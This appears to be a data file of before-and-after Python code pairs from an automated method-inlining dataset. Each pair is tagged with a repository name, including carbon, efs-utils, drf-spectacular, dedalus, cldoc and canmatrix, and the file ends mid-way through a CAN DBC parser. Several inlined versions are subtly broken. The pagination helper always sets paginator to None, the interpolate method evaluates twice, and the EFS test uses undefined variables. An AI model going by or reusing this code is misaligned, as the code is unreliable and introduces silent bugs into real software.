sshPortal = portal.Portal(sshRealm)
sshPortal.registerChecker(credChecker)
sessionFactory = ConchFactory(sshPortal)
if settings.MANHOLE_HOST_KEY_DIR == '':
raise CarbonConfigException('MANHOLE_HOST_KEY_DIR not defined')
openSSHFactory = OpenSSHFactory()
openSSHFactory.dataRoot = settings.MANHOLE_HOST_KEY_DIR
sessionFactory.publicKeys = openSSHFactory.getPublicKeys()
sessionFactory.privateKeys = openSSHFactory.getPrivateKeys()
factory = sessionFactory
</DeepExtract>
service = TCPServer(settings.MANHOLE_PORT, factory, interface=settings.MANHOLE_INTERFACE)
service.setServiceParent(root_service)
|
@classmethod
def build(cls, root_service):
if not settings.ENABLE_MANHOLE:
return
sshRealm = TerminalRealm()
sshRealm.chainedProtocolFactory.protocolFactory = lambda _: Manhole(namespace)
if settings.MANHOLE_PUBLIC_KEY == 'None':
credChecker = checkers.InMemoryUsernamePasswordDatabaseDontUse()
credChecker.addUser(settings.MANHOLE_USER.encode('utf-8'), ''.encode('utf-8'))
else:
userKeys = {settings.MANHOLE_USER.encode('utf-8'): settings.MANHOLE_PUBLIC_KEY.encode('utf-8')}
credChecker = PublicKeyChecker(userKeys)
sshPortal = portal.Portal(sshRealm)
sshPortal.registerChecker(credChecker)
sessionFactory = ConchFactory(sshPortal)
if settings.MANHOLE_HOST_KEY_DIR == '':
raise CarbonConfigException('MANHOLE_HOST_KEY_DIR not defined')
openSSHFactory = OpenSSHFactory()
openSSHFactory.dataRoot = settings.MANHOLE_HOST_KEY_DIR
sessionFactory.publicKeys = openSSHFactory.getPublicKeys()
sessionFactory.privateKeys = openSSHFactory.getPrivateKeys()
factory = sessionFactory
service = TCPServer(settings.MANHOLE_PORT, factory, interface=settings.MANHOLE_INTERFACE)
service.setServiceParent(root_service)
|
carbon
|
positive
|
def test_match_device_correct_descriptors_cname_dns_primary(mocker):
get_dns_name_mock = mocker.patch('mount_efs.get_dns_name_and_fallback_mount_target_ip_address', return_value=('fs-deadbeef.efs.us-east-1.amazonaws.com', None))
gethostbyname_ex_mock = mocker.patch('socket.gethostbyname_ex', return_value=('fs-deadbeef.efs.us-east-1.amazonaws.com', [], None))
<DeepExtract>
try:
config = ConfigParser.SafeConfigParser()
except AttributeError:
config = ConfigParser()
config.add_section(mount_efs.CONFIG_SECTION)
config.add_section(mount_efs.CLOUDWATCH_LOG_SECTION)
config.set(mount_efs.CONFIG_SECTION, 'dns_name_format', dns_name_format)
config.set(mount_efs.CONFIG_SECTION, 'dns_name_suffix', dns_name_suffix)
config.set(mount_efs.CLOUDWATCH_LOG_SECTION, 'enabled', cloudwatch_enabled)
if has_fallback_to_mount_target_ip_address_item:
config.set(mount_efs.CONFIG_SECTION, mount_efs.FALLBACK_TO_MOUNT_TARGET_IP_ADDRESS_ITEM, str(fallback_to_mount_target_ip_address))
config = config
</DeepExtract>
for (device, (fs_id, path, az)) in CORRECT_DEVICE_DESCRIPTORS_CNAME_DNS:
assert (fs_id, path, az) == mount_efs.match_device(config, device, DEFAULT_NFS_OPTIONS)
utils.assert_called(get_dns_name_mock)
utils.assert_called(gethostbyname_ex_mock)
|
def test_match_device_correct_descriptors_cname_dns_primary(mocker):
get_dns_name_mock = mocker.patch('mount_efs.get_dns_name_and_fallback_mount_target_ip_address', return_value=('fs-deadbeef.efs.us-east-1.amazonaws.com', None))
gethostbyname_ex_mock = mocker.patch('socket.gethostbyname_ex', return_value=('fs-deadbeef.efs.us-east-1.amazonaws.com', [], None))
try:
config = ConfigParser.SafeConfigParser()
except AttributeError:
config = ConfigParser()
config.add_section(mount_efs.CONFIG_SECTION)
config.add_section(mount_efs.CLOUDWATCH_LOG_SECTION)
config.set(mount_efs.CONFIG_SECTION, 'dns_name_format', dns_name_format)
config.set(mount_efs.CONFIG_SECTION, 'dns_name_suffix', dns_name_suffix)
config.set(mount_efs.CLOUDWATCH_LOG_SECTION, 'enabled', cloudwatch_enabled)
if has_fallback_to_mount_target_ip_address_item:
config.set(mount_efs.CONFIG_SECTION, mount_efs.FALLBACK_TO_MOUNT_TARGET_IP_ADDRESS_ITEM, str(fallback_to_mount_target_ip_address))
config = config
for (device, (fs_id, path, az)) in CORRECT_DEVICE_DESCRIPTORS_CNAME_DNS:
assert (fs_id, path, az) == mount_efs.match_device(config, device, DEFAULT_NFS_OPTIONS)
utils.assert_called(get_dns_name_mock)
utils.assert_called(gethostbyname_ex_mock)
|
efs-utils
|
positive
|
def _get_pagination_parameters(self):
if not self._is_list_view():
return []
<DeepExtract>
pagination_class = getattr(self.view, 'pagination_class', None)
if pagination_class:
paginator = pagination_class()
paginator = None
</DeepExtract>
if not paginator:
return []
filter_extension = OpenApiFilterExtension.get_match(paginator)
if filter_extension:
return filter_extension.get_schema_operation_parameters(self)
else:
return paginator.get_schema_operation_parameters(self.view)
|
def _get_pagination_parameters(self):
if not self._is_list_view():
return []
pagination_class = getattr(self.view, 'pagination_class', None)
if pagination_class:
paginator = pagination_class()
paginator = None
if not paginator:
return []
filter_extension = OpenApiFilterExtension.get_match(paginator)
if filter_extension:
return filter_extension.get_schema_operation_parameters(self)
else:
return paginator.get_schema_operation_parameters(self.view)
|
drf-spectacular
|
positive
|
def interpolate(self, *args, **kw):
"""Interpolate field."""
from .operators import interpolate
<DeepExtract>
from .operators import interpolate
interp_op = interpolate(self, *args, **kw)
interp_op = interp_op.evaluate()
</DeepExtract>
return interp_op.evaluate()
|
def interpolate(self, *args, **kw):
"""Interpolate field."""
from .operators import interpolate
from .operators import interpolate
interp_op = interpolate(self, *args, **kw)
interp_op = interp_op.evaluate()
return interp_op.evaluate()
|
dedalus
|
positive
|
def _create_virtual_param(self):
param = ElementTree.Element(nsgtk('parameter'))
param.attrib['name'] = 'self'
param.attrib['transfer-ownership'] = 'none'
<DeepExtract>
ntp = '{{{0}}}{1}'.format('http://www.gtk.org/introspection/c/1.0', 'type')
</DeepExtract>
tp = ElementTree.Element(nsgtk('type'))
tp.attrib['name'] = self.node.attrib['name']
tp.attrib[ntp] = self.node.attrib[ntp] + '*'
doc = ElementTree.Element(nsgtk('doc'))
doc.text = 'a <{0}>.'.format(self.node.attrib[ntp])
param.append(doc)
param.append(tp)
self._virtual_param = param
|
def _create_virtual_param(self):
param = ElementTree.Element(nsgtk('parameter'))
param.attrib['name'] = 'self'
param.attrib['transfer-ownership'] = 'none'
ntp = '{{{0}}}{1}'.format('http://www.gtk.org/introspection/c/1.0', 'type')
tp = ElementTree.Element(nsgtk('type'))
tp.attrib['name'] = self.node.attrib['name']
tp.attrib[ntp] = self.node.attrib[ntp] + '*'
doc = ElementTree.Element(nsgtk('doc'))
doc.text = 'a <{0}>.'.format(self.node.attrib[ntp])
param.append(doc)
param.append(tp)
self._virtual_param = param
|
cldoc
|
positive
|
def load(f, **options):
dbc_import_encoding = options.get('dbcImportEncoding', 'iso-8859-1')
dbc_comment_encoding = options.get('dbcImportCommentEncoding', dbc_import_encoding)
float_factory = options.get('float_factory', default_float_factory)
i = 0
follow_up = _FollowUps.NOTHING
comment = ''
signal = None
frame = None
board_unit = None
db = canmatrix.CanMatrix()
frames_by_id = {}
def hash_arbitration_id(arbitration_id):
return hash((arbitration_id.id, arbitration_id.extended))
def get_frame_by_id(arbitration_id):
try:
return frames_by_id[hash_arbitration_id(arbitration_id)]
except KeyError:
return None
def add_frame_by_id(new_frame):
frames_by_id[hash_arbitration_id(new_frame.arbitration_id)] = new_frame
for line in f:
i = i + 1
l = line.strip()
if len(l) == 0:
continue
try:
if follow_up == _FollowUps.SIGNAL_COMMENT:
try:
comment += '\n' + l.decode(dbc_comment_encoding).replace('\\"', '"')
except:
logger.error('Error decoding line: %d (%s)' % (i, line))
if re.match('.*" *;\\Z', l.decode(dbc_import_encoding).strip()) is not None:
follow_up = _FollowUps.NOTHING
if signal is not None:
signal.add_comment(comment[:-1].strip()[:-1])
continue
elif follow_up == _FollowUps.FRAME_COMMENT:
try:
comment += '\n' + l.decode(dbc_comment_encoding).replace('\\"', '"')
except:
logger.error('Error decoding line: %d (%s)' % (i, line))
if re.match('.*" *;\\Z', l.decode(dbc_import_encoding).strip()) is not None:
follow_up = _FollowUps.NOTHING
if frame is not None:
frame.add_comment(comment[:-1].strip()[:-1])
continue
elif follow_up == _FollowUps.BOARD_UNIT_COMMENT:
try:
comment += '\n' + l.decode(dbc_comment_encoding).replace('\\"', '"')
except:
logger.error('Error decoding line: %d (%s)' % (i, line))
if re.match('.*" *;\\Z', l.decode(dbc_import_encoding).strip()) is not None:
follow_up = _FollowUps.NOTHING
if board_unit is not None:
board_unit.add_comment(comment[:-1].strip()[:-1])
continue
decoded = l.decode(dbc_import_encoding).strip()
if decoded.startswith('BO_ '):
regexp = re.compile('^BO_ ([^\\ ]+) ([^\\ ]+) *: *([^\\ ]+) ([^\\ ]+)')
temp = regexp.match(decoded)
frame = canmatrix.Frame(temp.group(2), arbitration_id=int(temp.group(1)), size=int(temp.group(3)), transmitters=temp.group(4).split())
db.frames.append(frame)
<DeepExtract>
frames_by_id[hash_arbitration_id(frame.arbitration_id)] = frame
</DeepExtract>
elif decoded.startswith('SG_ '):
original_line = l
if decoded.strip().endswith('"'):
decoded += ' Vector__XXX'
original_line += b' Vector__XXX'
pattern = '^SG_ +(\\w+) *: *(\\d+)\\|(\\d+)@(\\d+)([\\+|\\-]) *\\(([0-9.+\\-eE]+), *([0-9.+\\-eE]+)\\) *\\[([0-9.+\\-eE]+)\\|([0-9.+\\-eE]+)\\] +\\"(.*)\\" +(.*)'
regexp = re.compile(pattern)
temp = regexp.match(decoded)
regexp_raw = re.compile(pattern.encode(dbc_import_encoding))
temp_raw = regexp_raw.match(original_line)
if temp:
receiver = [b.strip() for b in temp.group(11).split(',')]
extras = {}
temp_signal = canmatrix.Signal(temp.group(1), start_bit=int(temp.group(2)), size=int(temp.group(3)), is_little_endian=int(temp.group(4)) == 1, is_signed=temp.group(5) == '-', factor=temp.group(6), offset=temp.group(7), min=temp.group(8), max=temp.group(9), unit=temp_raw.group(10).decode(dbc_import_encoding), receivers=receiver, **extras)
if not temp_signal.is_little_endian:
temp_signal.set_startbit(int(temp.group(2)), bitNumbering=1)
frame.add_signal(temp_signal)
else:
pattern = '^SG_ +(.+?) +(.+?) *: *(\\d+)\\|(\\d+)@(\\d+)([\\+|\\-]) *\\(([0-9.+\\-eE]+),([0-9.+\\-eE]+)\\) *\\[([0-9.+\\-eE]+)\\|([0-9.+\\-eE]+)\\] +\\"(.*)\\" +(.*)'
regexp = re.compile(pattern)
regexp_raw = re.compile(pattern.encode(dbc_import_encoding))
temp = regexp.match(decoded)
temp_raw = regexp_raw.match(original_line)
receiver = [b.strip() for b in temp.group(12).split(',')]
multiplex = temp.group(2)
is_complex_multiplexed = False
if multiplex == 'M':
multiplex = 'Multiplexor'
elif multiplex.endswith('M'):
is_complex_multiplexed = True
multiplex = multiplex[:-1]
if multiplex != 'Multiplexor':
try:
multiplex = int(multiplex[1:])
except:
raise Exception('error decoding line', line)
extras = {}
temp_signal = canmatrix.Signal(temp.group(1), start_bit=int(temp.group(3)), size=int(temp.group(4)), is_little_endian=int(temp.group(5)) == 1, is_signed=temp.group(6) == '-', factor=temp.group(7), offset=temp.group(8), min=temp.group(9), max=temp.group(10), unit=temp_raw.group(11).decode(dbc_import_encoding), receivers=receiver, multiplex=multiplex, **extras)
if is_complex_multiplexed:
temp_signal.is_multiplexer = True
temp_signal.multiplex = 'Multiplexor'
if not temp_signal.is_little_endian:
temp_signal.set_startbit(int(temp.group(3)), bitNumbering=1)
frame.add_signal(temp_signal)
if is_complex_multiplexed:
frame.is_complex_multiplexed = True
elif decoded.startswith('BO_TX_BU_ '):
regexp = re.compile('^BO_TX_BU_ ([0-9]+) *: *(.+) *;')
temp = regexp.match(decoded)
<DeepExtract>
try:
frame = frames_by_id[hash_arbitration_id(canmatrix.ArbitrationId.from_compound_integer(int(temp.group(1))))]
except KeyError:
frame = None
</DeepExtract>
for ecu_name in temp.group(2).split(','):
frame.add_transmitter(ecu_name)
elif decoded.startswith('CM_ SG_ '):
pattern = '^CM_ +SG_ +(\\w+) +(\\w+) +\\"(.*)\\" *;'
regexp = re.compile(pattern)
regexp_raw = re.compile(pattern.encode(dbc_import_encoding))
temp = regexp.match(decoded)
temp_raw = regexp_raw.match(l)
if temp:
<DeepExtract>
try:
frame = frames_by_id[hash_arbitration_id(canmatrix.ArbitrationId.from_compound_integer(int(temp.group(1))))]
except KeyError:
frame = None
</DeepExtract>
signal = frame.signal_by_name(temp.group(2))
if signal:
try:
signal.add_comment(temp_raw.group(3).decode(dbc_comment_encoding).replace('\\"', '"'))
except:
logger.error('Error decoding line: %d (%s)' % (i, line))
else:
pattern = '^CM_ +SG_ +(\\w+) +(\\w+) +\\"(.*)'
regexp = re.compile(pattern)
regexp_raw = re.compile(pattern.encode(dbc_import_encoding))
temp = regexp.match(decoded)
temp_raw = regexp_raw.match(l)
if temp:
<DeepExtract>
try:
frame = frames_by_id[hash_arbitration_id(canmatrix.ArbitrationId.from_compound_integer(int(temp.group(1))))]
except KeyError:
frame = None
</DeepExtract>
signal = frame.signal_by_name(temp.group(2))
try:
comment = temp_raw.group(3).decode(dbc_comment_encoding).replace('\\"', '"')
except:
logger.error('Error decoding line: %d (%s)' % (i, line))
follow_up = _FollowUps.SIGNAL_COMMENT
elif decoded.startswith('CM_ BO_ '):
pattern = '^CM_ +BO_ +(\\w+) +\\"(.*)\\" *;'
regexp = re.compile(pattern)
regexp_raw = re.compile(pattern.encode(dbc_import_encoding))
temp = regexp.match(decoded)
temp_raw = regexp_raw.match(l)
if temp:
<DeepExtract>
try:
frame = frames_by_id[hash_arbitration_id(canmatrix.ArbitrationId.from_compound_integer(int(temp.group(1))))]
except KeyError:
frame = None
</DeepExtract>
if frame:
try:
frame.add_comment(temp_raw.group(2).decode(dbc_comment_encoding).replace('\\"', '"'))
except:
logger.error('Error decoding line: %d (%s)' % (i, line))
else:
pattern = '^CM_ +BO_ +(\\w+) +\\"(.*)'
regexp = re.compile(pattern)
regexp_raw = re.compile(pattern.encode(dbc_import_encoding))
temp = regexp.match(decoded)
temp_raw = regexp_raw.match(l)
if temp:
<DeepExtract>
try:
frame = frames_by_id[hash_arbitration_id(canmatrix.ArbitrationId.from_compound_integer(int(temp.group(1))))]
except KeyError:
frame = None
</DeepExtract>
try:
comment = temp_raw.group(2).decode(dbc_comment_encoding).replace('\\"', '"')
except:
logger.error('Error decoding line: %d (%s)' % (i, line))
follow_up = _FollowUps.FRAME_COMMENT
elif decoded.startswith('CM_ BU_ '):
pattern = '^CM_ +BU_ +(\\w+) +\\"(.*)\\" *;'
regexp = re.compile(pattern)
regexp_raw = re.compile(pattern.encode(dbc_import_encoding))
temp = regexp.match(decoded)
temp_raw = regexp_raw.match(l)
if temp:
board_unit = db.ecu_by_name(temp.group(1))
if board_unit:
try:
board_unit.add_comment(temp_raw.group(2).decode(dbc_comment_encoding).replace('\\"', '"'))
except:
logger.error('Error decoding line: %d (%s)' % (i, line))
else:
pattern = '^CM_ +BU_ +(\\w+) +\\"(.*)'
regexp = re.compile(pattern)
regexp_raw = re.compile(pattern.encode(dbc_import_encoding))
temp = regexp.match(decoded)
temp_raw = regexp_raw.match(l)
if temp:
board_unit = db.ecu_by_name(temp.group(1))
if board_unit:
try:
comment = temp_raw.group(2).decode(dbc_comment_encoding).replace('\\"', '"')
except:
logger.error('Error decoding line: %d (%s)' % (i, line))
follow_up = _FollowUps.BOARD_UNIT_COMMENT
elif decoded.startswith('BU_:'):
pattern = '^BU_\\:(.*)'
regexp = re.compile(pattern)
regexp_raw = re.compile(pattern.encode(dbc_import_encoding))
temp = regexp.match(decoded)
if temp:
my_temp_list = temp.group(1).split(' ')
for ele in my_temp_list:
if len(ele.strip()) > 1:
db.ecus.append(canmatrix.Ecu(ele))
elif decoded.startswith('VAL_ '):
regexp = re.compile('^VAL_ +(\\w+) +(\\w+) +(.*) *;')
temp = regexp.match(decoded)
if temp:
frame_id = temp.group(1)
signal_name = temp.group(2)
temp_list = list(canmatrix.utils.escape_aware_split(temp.group(3), '"'))
if frame_id.isnumeric():
try:
<DeepExtract>
try:
frame = frames_by_id[hash_arbitration_id(canmatrix.ArbitrationId.from_compound_integer(int(frame_id)))]
except KeyError:
frame = None
</DeepExtract>
sg = frame.signal_by_name(signal_name)
for i in range(math.floor(len(temp_list) / 2)):
val = temp_list[i * 2 + 1]
val = val.replace('\\"', '"')
if sg:
sg.add_values(temp_list[i * 2], val)
except:
logger.error('Error with Line: ' + str(temp_list))
else:
logger.info('Warning: environment variables currently not supported')
elif decoded.startswith('VAL_TABLE_ '):
regexp = re.compile('^VAL_TABLE_ +(\\w+) +(.*) *;')
temp = regexp.match(decoded)
if temp:
table_name = temp.group(1)
temp_list = temp.group(2).split('"')
value_hash = {}
try:
for i in range(math.floor(len(temp_list) / 2)):
val = temp_list[i * 2 + 1]
value_hash[temp_list[i * 2].strip()] = val.strip()
except:
logger.error('Error with Line: ' + str(temp_list))
db.add_value_table(table_name, value_hash)
else:
logger.debug(l)
elif decoded.startswith('BA_DEF_') and decoded[7:].strip()[:3] in ['SG_', 'BO_', 'BU_', 'EV_']:
substring = decoded[7:].strip()
define_type = substring[:3]
substring = substring[3:].strip()
pattern = '^\\"(.+?)\\" +(.+); *'
regexp = re.compile(pattern)
regexp_raw = re.compile(pattern.encode(dbc_import_encoding))
temp = regexp.match(substring)
substring_line = l[7:].strip()[3:].strip()
temp_raw = regexp_raw.match(substring_line)
if temp:
if define_type == 'SG_':
db.add_signal_defines(temp.group(1), temp_raw.group(2).decode(dbc_import_encoding))
elif define_type == 'BO_':
db.add_frame_defines(temp.group(1), temp_raw.group(2).decode(dbc_import_encoding))
elif define_type == 'BU_':
db.add_ecu_defines(temp.group(1), temp_raw.group(2).decode(dbc_import_encoding))
elif define_type == 'EV_':
db.add_env_defines(temp.group(1), temp_raw.group(2).decode(dbc_import_encoding))
elif decoded.startswith('BA_DEF_ '):
pattern = '^BA_DEF_ +\\"(.+?)\\" +(.+) *;'
regexp = re.compile(pattern)
regexp_raw = re.compile(pattern.encode(dbc_import_encoding))
temp = regexp.match(decoded)
temp_raw = regexp_raw.match(l)
if temp:
db.add_global_defines(temp.group(1), temp_raw.group(2).decode(dbc_import_encoding))
elif decoded.startswith('BA_ '):
regexp = re.compile('^BA_ +\\".+?\\" +(.+)')
tempba = regexp.match(decoded)
if tempba.group(1).strip().startswith('BO_ '):
regexp = re.compile('^BA_ +\\"(.+?)\\" +BO_ +(\\d+) +(.+) *; *')
temp = regexp.match(decoded)
get_frame_by_id(canmatrix.ArbitrationId.from_compound_integer(int(temp.group(2)))).add_attribute(temp.group(1), temp.group(3))
elif tempba.group(1).strip().startswith('SG_ '):
regexp = re.compile('^BA_ +\\"(.+?)\\" +SG_ +(\\d+) +(\\w+) +(.+) *; *')
temp = regexp.match(decoded)
if temp is not None:
get_frame_by_id(canmatrix.ArbitrationId.from_compound_integer(int(temp.group(2)))).signal_by_name(temp.group(3)).add_attribute(temp.group(1), temp.group(4))
elif tempba.group(1).strip().startswith('EV_ '):
regexp = re.compile('^BA_ +\\"(.+?)\\" +EV_ +(\\w+) +(.*) *; *')
temp = regexp.match(decoded)
if temp is not None:
db.add_env_attribute(temp.group(2), temp.group(1), temp.group(3))
elif tempba.group(1).strip().startswith('BU_ '):
regexp = re.compile('^BA_ +\\"(.*?)\\" +BU_ +(\\w+) +(.+) *; *')
temp = regexp.match(decoded)
db.ecu_by_name(temp.group(2)).add_attribute(temp.group(1), temp.group(3))
else:
regexp = re.compile('^BA_ +\\"([A-Za-z0-9\\-_]+)\\" +([\\"\\w\\-\\.]+) *; *')
temp = regexp.match(decoded)
if temp:
db.add_attribute(temp.group(1), temp.group(2))
elif decoded.startswith('SIG_GROUP_ '):
regexp = re.compile('^SIG_GROUP_ +(\\w+) +(\\w+) +(\\w+) +\\:(.*) *; *')
temp = regexp.match(decoded)
<DeepExtract>
try:
frame = frames_by_id[hash_arbitration_id(canmatrix.ArbitrationId.from_compound_integer(int(temp.group(1))))]
except KeyError:
frame = None
</DeepExtract>
if frame is not None:
signal_array = temp.group(4).split(' ')
frame.add_signal_group(temp.group(2), temp.group(3), signal_array)
elif decoded.startswith('SIG_VALTYPE_ '):
regexp = re.compile('^SIG_VALTYPE_ +(\\w+) +(\\w+)\\s*\\:(.*) *; *')
temp = regexp.match(decoded)
<DeepExtract>
try:
frame = frames_by_id[hash_arbitration_id(canmatrix.ArbitrationId.from_compound_integer(int(temp.group(1))))]
except KeyError:
frame = None
</DeepExtract>
if frame:
signal = frame.signal_by_name(temp.group(2))
signal.is_float = True
elif decoded.startswith('BA_DEF_DEF_ '):
pattern = '^BA_DEF_DEF_ +\\"(.+?)\\" +(.+?) *;'
regexp = re.compile(pattern)
regexp_raw = re.compile(pattern.encode(dbc_import_encoding))
temp = regexp.match(decoded)
temp_raw = regexp_raw.match(l)
if temp:
db.add_define_default(temp.group(1), temp_raw.group(2).decode(dbc_import_encoding))
elif decoded.startswith('SG_MUL_VAL_ '):
pattern = '^SG_MUL_VAL_ +([0-9]+) +([\\w\\-]+) +([\\w\\-]+) +(.*) *; *'
regexp = re.compile(pattern)
temp = regexp.match(decoded)
if temp:
frame_id = temp.group(1)
signal_name = temp.group(2)
muxer_for_signal = temp.group(3)
mux_val_groups = temp.group(4).split(',')
<DeepExtract>
try:
frame = frames_by_id[hash_arbitration_id(canmatrix.ArbitrationId.from_compound_integer(int(frame_id)))]
except KeyError:
frame = None
</DeepExtract>
if frame is not None:
signal = frame.signal_by_name(signal_name)
frame.is_complex_multiplexed = True
signal.muxer_for_signal = muxer_for_signal
for muxVal in mux_val_groups:
(mux_val_min, mux_val_max) = muxVal.split('-')
mux_val_min_number = int(mux_val_min)
mux_val_max_number = int(mux_val_max)
signal.mux_val_grp.append([mux_val_min_number, mux_val_max_number])
elif decoded.startswith('EV_ '):
pattern = '^EV_ +([\\w\\-\\_]+?) *\\: +([0-9]+) +\\[([0-9.+\\-eE]+)\\|([0-9.+\\-eE]+)\\] +\\"(.*?)\\" +([0-9.+\\-eE]+) +([0-9.+\\-eE]+) +([\\w\\-]+?) +(.*); *'
regexp = re.compile(pattern)
temp = regexp.match(decoded)
var_name = temp.group(1)
var_type = temp.group(2)
min_value = temp.group(3)
max_value = temp.group(4)
unit = temp.group(5)
initial_value = temp.group(6)
ev_id = temp.group(7)
access_type = temp.group(8)
access_nodes = temp.group(9).split(',')
db.add_env_var(var_name, {'varType': var_type, 'min': min_value, 'max': max_value, 'unit': unit, 'initialValue': initial_value, 'evId': ev_id, 'accessType': access_type, 'accessNodes': access_nodes})
except:
print('error with line no: %d' % i)
print(line)
env_var_names = list(db.env_vars.keys())
for env_var_name in env_var_names:
env_var = db.env_vars[env_var_name]
if 'SystemEnvVarLongSymbol' in env_var.get('attributes', ''):
long_name = env_var['attributes']['SystemEnvVarLongSymbol'][1:-1]
del env_var['attributes']['SystemEnvVarLongSymbol']
db.env_vars[long_name] = db.env_vars.pop(env_var_name)
for ecu in db.ecus:
if ecu.attributes.get('SystemNodeLongSymbol', None) is not None:
ecu.name = ecu.attributes.get('SystemNodeLongSymbol')[1:-1]
ecu.del_attribute('SystemNodeLongSymbol')
for frame in db.frames:
frame.cycle_time = int(float(frame.attributes.get('GenMsgCycleTime', 0)))
if frame.attributes.get('SystemMessageLongSymbol', None) is not None:
frame.name = frame.attributes.get('SystemMessageLongSymbol')[1:-1]
frame.del_attribute('SystemMessageLongSymbol')
frame.update_receiver()
for signal in frame.signals:
if 'GenSigStartValue' in db.signal_defines and db.signal_defines['GenSigStartValue'].defaultValue is not None:
default_value = signal.phys2raw(float_factory(db.signal_defines['GenSigStartValue'].defaultValue))
else:
default_value = signal.phys2raw(None)
gen_sig_start_value = float_factory(signal.attributes.get('GenSigStartValue', default_value))
signal.initial_value = gen_sig_start_value * signal.factor + signal.offset
signal.cycle_time = int(signal.attributes.get('GenSigCycleTime', 0))
if signal.attribute('SystemSignalLongSymbol') is not None:
signal.name = signal.attribute('SystemSignalLongSymbol')[1:-1]
signal.del_attribute('SystemSignalLongSymbol')
for define in db.global_defines:
if db.global_defines[define].type == 'STRING':
if define in db.attributes:
db.attributes[define] = db.attributes[define][1:-1]
for define in db.ecu_defines:
if db.ecu_defines[define].type == 'STRING':
for ecu in db.ecus:
if define in ecu.attributes:
ecu.attributes[define] = ecu.attributes[define][1:-1]
for define in db.frame_defines:
if db.frame_defines[define].type == 'STRING':
for frame in db.frames:
if define in frame.attributes:
frame.attributes[define] = frame.attributes[define][1:-1]
for define in db.signal_defines:
if db.signal_defines[define].type == 'STRING':
for frame in db.frames:
for signal in frame.signals:
if define in signal.attributes:
signal.attributes[define] = signal.attributes[define][1:-1]
db.enum_attribs_to_values()
for frame in db.frames:
if '_FD' in frame.attributes.get('VFrameFormat', ''):
frame.is_fd = True
if 'J1939PG' in frame.attributes.get('VFrameFormat', ''):
frame.is_j1939 = True
db.update_ecu_list()
db.del_ecu('Vector__XXX')
free_signals_dummy_frame = db.frame_by_name('VECTOR__INDEPENDENT_SIG_MSG')
if free_signals_dummy_frame is not None and free_signals_dummy_frame.arbitration_id.id == 1073741824:
db.signals = free_signals_dummy_frame.signals
db.del_frame(free_signals_dummy_frame)
return db
|
def load(f, **options):
dbc_import_encoding = options.get('dbcImportEncoding', 'iso-8859-1')
dbc_comment_encoding = options.get('dbcImportCommentEncoding', dbc_import_encoding)
float_factory = options.get('float_factory', default_float_factory)
i = 0
follow_up = _FollowUps.NOTHING
comment = ''
signal = None
frame = None
board_unit = None
db = canmatrix.CanMatrix()
frames_by_id = {}
def hash_arbitration_id(arbitration_id):
return hash((arbitration_id.id, arbitration_id.extended))
def get_frame_by_id(arbitration_id):
try:
return frames_by_id[hash_arbitration_id(arbitration_id)]
except KeyError:
return None
def add_frame_by_id(new_frame):
frames_by_id[hash_arbitration_id(new_frame.arbitration_id)] = new_frame
for line in f:
i = i + 1
l = line.strip()
if len(l) == 0:
continue
try:
if follow_up == _FollowUps.SIGNAL_COMMENT:
try:
comment += '\n' + l.decode(dbc_comment_encoding).replace('\\"', '"')
except:
logger.error('Error decoding line: %d (%s)' % (i, line))
if re.match('.*" *;\\Z', l.decode(dbc_import_encoding).strip()) is not None:
follow_up = _FollowUps.NOTHING
if signal is not None:
signal.add_comment(comment[:-1].strip()[:-1])
continue
elif follow_up == _FollowUps.FRAME_COMMENT:
try:
comment += '\n' + l.decode(dbc_comment_encoding).replace('\\"', '"')
except:
logger.error('Error decoding line: %d (%s)' % (i, line))
if re.match('.*" *;\\Z', l.decode(dbc_import_encoding).strip()) is not None:
follow_up = _FollowUps.NOTHING
if frame is not None:
frame.add_comment(comment[:-1].strip()[:-1])
continue
elif follow_up == _FollowUps.BOARD_UNIT_COMMENT:
try:
comment += '\n' + l.decode(dbc_comment_encoding).replace('\\"', '"')
except:
logger.error('Error decoding line: %d (%s)' % (i, line))
if re.match('.*" *;\\Z', l.decode(dbc_import_encoding).strip()) is not None:
follow_up = _FollowUps.NOTHING
if board_unit is not None:
board_unit.add_comment(comment[:-1].strip()[:-1])
continue
decoded = l.decode(dbc_import_encoding).strip()
if decoded.startswith('BO_ '):
regexp = re.compile('^BO_ ([^\\ ]+) ([^\\ ]+) *: *([^\\ ]+) ([^\\ ]+)')
temp = regexp.match(decoded)
frame = canmatrix.Frame(temp.group(2), arbitration_id=int(temp.group(1)), size=int(temp.group(3)), transmitters=temp.group(4).split())
db.frames.append(frame)
frames_by_id[hash_arbitration_id(frame.arbitration_id)] = frame
elif decoded.startswith('SG_ '):
original_line = l
if decoded.strip().endswith('"'):
decoded += ' Vector__XXX'
original_line += b' Vector__XXX'
pattern = '^SG_ +(\\w+) *: *(\\d+)\\|(\\d+)@(\\d+)([\\+|\\-]) *\\(([0-9.+\\-eE]+), *([0-9.+\\-eE]+)\\) *\\[([0-9.+\\-eE]+)\\|([0-9.+\\-eE]+)\\] +\\"(.*)\\" +(.*)'
regexp = re.compile(pattern)
temp = regexp.match(decoded)
regexp_raw = re.compile(pattern.encode(dbc_import_encoding))
temp_raw = regexp_raw.match(original_line)
if temp:
receiver = [b.strip() for b in temp.group(11).split(',')]
extras = {}
temp_signal = canmatrix.Signal(temp.group(1), start_bit=int(temp.group(2)), size=int(temp.group(3)), is_little_endian=int(temp.group(4)) == 1, is_signed=temp.group(5) == '-', factor=temp.group(6), offset=temp.group(7), min=temp.group(8), max=temp.group(9), unit=temp_raw.group(10).decode(dbc_import_encoding), receivers=receiver, **extras)
if not temp_signal.is_little_endian:
temp_signal.set_startbit(int(temp.group(2)), bitNumbering=1)
frame.add_signal(temp_signal)
else:
pattern = '^SG_ +(.+?) +(.+?) *: *(\\d+)\\|(\\d+)@(\\d+)([\\+|\\-]) *\\(([0-9.+\\-eE]+),([0-9.+\\-eE]+)\\) *\\[([0-9.+\\-eE]+)\\|([0-9.+\\-eE]+)\\] +\\"(.*)\\" +(.*)'
regexp = re.compile(pattern)
regexp_raw = re.compile(pattern.encode(dbc_import_encoding))
temp = regexp.match(decoded)
temp_raw = regexp_raw.match(original_line)
receiver = [b.strip() for b in temp.group(12).split(',')]
multiplex = temp.group(2)
is_complex_multiplexed = False
if multiplex == 'M':
multiplex = 'Multiplexor'
elif multiplex.endswith('M'):
is_complex_multiplexed = True
multiplex = multiplex[:-1]
if multiplex != 'Multiplexor':
try:
multiplex = int(multiplex[1:])
except:
raise Exception('error decoding line', line)
extras = {}
